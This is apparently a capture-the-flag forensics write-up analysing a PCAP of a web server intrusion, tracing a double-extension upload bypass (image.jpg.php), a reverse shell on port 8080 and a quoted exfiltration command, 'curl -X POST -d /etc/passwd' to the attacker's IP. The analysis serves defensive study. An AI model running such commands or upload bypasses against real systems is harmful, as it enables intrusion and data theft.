WebStrike PCAP

Here is our Scenario:
A suspicious file was identified on a company web server, raising alarms within the intranet. The Development team flagged the anomaly, suspecting potential malicious activity. To address the issue, the network team captured critical network traffic and prepared a PCAP file for review. Your task is to analyze the provided PCAP file to uncover how the file appeared and determine the extent of any unauthorized activity.

---

Q1 – City of Origin

The first thing I did was identify who the attacker was in the PCAP. In Wireshark, I opened Statistics > Conversations > IPv4. That showed me the main external IP involved in the traffic: 117.11.88.124. The other IP, 24.49.63.79, was clearly the web server. Once I had the attacker IP, I needed to find the geographic origin. I looked up the IP using an external IP lookup service. The results showed that the IP was coming from Tianjin, China.

This was the first pivot point in my analysis. Identifying the source IP and enriching it with geolocation helped me provide context for the investigation. While geolocation doesn’t guarantee anything, it does give us useful information for things like geo-blocking or adding to threat intelligence.

Framework Mapping:

• NIST 800-61: Detection and Analysis
• MITRE ATT&CK: T1583.006 (Acquire Infrastructure – Web Services)
• ISO 27001: A.13.1 (Network Security)

Answer:

Tianjin

---

Q2 – Attacker’s User-Agent

Next, I wanted to see what User-Agent the attacker was sending with their HTTP requests. In Wireshark, I used the display filter http.request to show only HTTP GET and POST requests. Clicking on one of the attackers requests and expanding the http section revealed the User-Agent header. I also confirmed it by running Zeek on the PCAP and checking the http.log.

Seeing a User-Agent that looks like a normal Linux Firefox browser helps explain how the attacker was trying to blend in with regular traffic. Even if it is a real browser, capturing the full string is useful because we can hunt for it in our logs and then use that to tune our WAF or IDS to flag unusual User-Agents.

Framework Mapping:

• NIST 800-61: Containment
• MITRE ATT&CK: T1071.001 (Application Layer Protocol: Web Protocols)
• ISO 27001: A.12.4.1 (Event Logging)

Answer:

Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

---

Q3 – Malicious Web Shell Uploaded

To find if a file had been uploaded, I filtered for POST requests sent by the attacker. The Wireshark filter I used was:

ip.src == 117.11.88.124 && http.request.method == "POST"

When I followed the TCP stream of one of these POST requests to /reviews/upload.php, I saw the multipart form data. The key line was filename="image.jpg.php". That confirmed the attacker uploaded a PHP script disguised with a double extension. The first attempt, image.php, was blocked, but the renamed version image.jpg.php bypassed the weak filter.

This step confirmed the vulnerability. The upload filter was not properly sanitizing file names. The attacker exploited this by adding an extra .jpg to trick the filter. This is known as a extension-bypass technique.

Framework Mapping:

• MITRE ATT&CK: T1505.003 (Web Shell)
• NIST 800-61: Analysis and Eradication
• ISO 27001: A.12.2.1 (Controls Against Malware)

Answer:

image.jpg.php

---

Q4 – Directory Where Uploads Are Stored

After confirming the upload, I checked where the file landed. In Wireshark, I filtered for .php calls using:

http.request.uri contains ".php"

I found an intersting GET request where the attacker called their web shell directly:

GET /reviews/uploads/image.jpg.php HTTP/1.1

This also confirmed the server stored the uploaded files in /reviews/uploads/.

Finding the upload directory showed me where the malicious file actually lived on the web server. It also confirmed that the directory allowed execution of PHP code.

Framework Mapping:

• MITRE ATT&CK: T1105 (Remote File Copy)
• NIST 800-61: Eradication and Recovery
• ISO 27001: A.9.4.4 (Use of Privileged Utility Programs)

Answer:

/reviews/uploads/

---

Q5 – Outbound Connection Port

So then i wanted to see how the attacker used the web shell to call back to their machine. Since reverse shells connect outward, I checked the Zeek conn.log after parsing the PCAP. By grepping for the attackers IP, I saw the victim server 24.49.63.79 connecting to 117.11.88.124 on port 8080.

Port 8080 is commonly used for web traffic, which makes it a convenient choice for attackers trying to disguise command-and-control traffic. Documenting this connection provides evidence of the attacker establishing a persistent channel.

Framework Mapping:

• MITRE ATT&CK: T1059 (Command Execution)
• NIST 800-61: Containment
• ISO 27001: A.13.1 (Network Security Controls)

Answer:

8080

---

Q6 – File Attempted for Exfiltration

Finally, I checked for data exfiltration attempts. Since the reverse shell used port 8080, I filtered traffic in Wireshark with:

(tcp.port == 8080) && (ip.src == 24.49.63.79)

Following the TCP stream revealed the attacker’s command history. They first dumped /etc/passwd with cat /etc/passwd, then ran a curl command:

curl -X POST -d /etc/passwd http://117.11.88.124:443/

This showed they attempted to send the contents of /etc/passwd to their machine.

This was the final phase of the attack. The /etc/passwd file contains all local user accounts and is a valuable target for attackers to aid privilege escalation. Even without password hashes, it provides insight into the system users and configuration.

Framework Mapping:

• MITRE ATT&CK: T1005 (Data from Local System), T1041 (Exfiltration Over C2 Channel)
• NIST 800-61: Response
• ISO 27001: A.16.1.5 (Incident Response)

Answer:

/etc/passwd

---

Summary

The PCAP showed a complete intrusion chain:

1. The attacker’s IP originated from Tianjin, China.
2. They used a Linux Firefox User-Agent.
3. A malicious web shell named image.jpg.php was uploaded.
4. Uploaded files were stored in /reviews/uploads/.
5. The web shell connected outbound to the attacker on port 8080.
6. The attacker attempted to exfiltrate the /etc/passwd file.

This confirms an attack lifecycle of exploitation, persistence with a web shell, establishing command and control, and finally data exfiltration.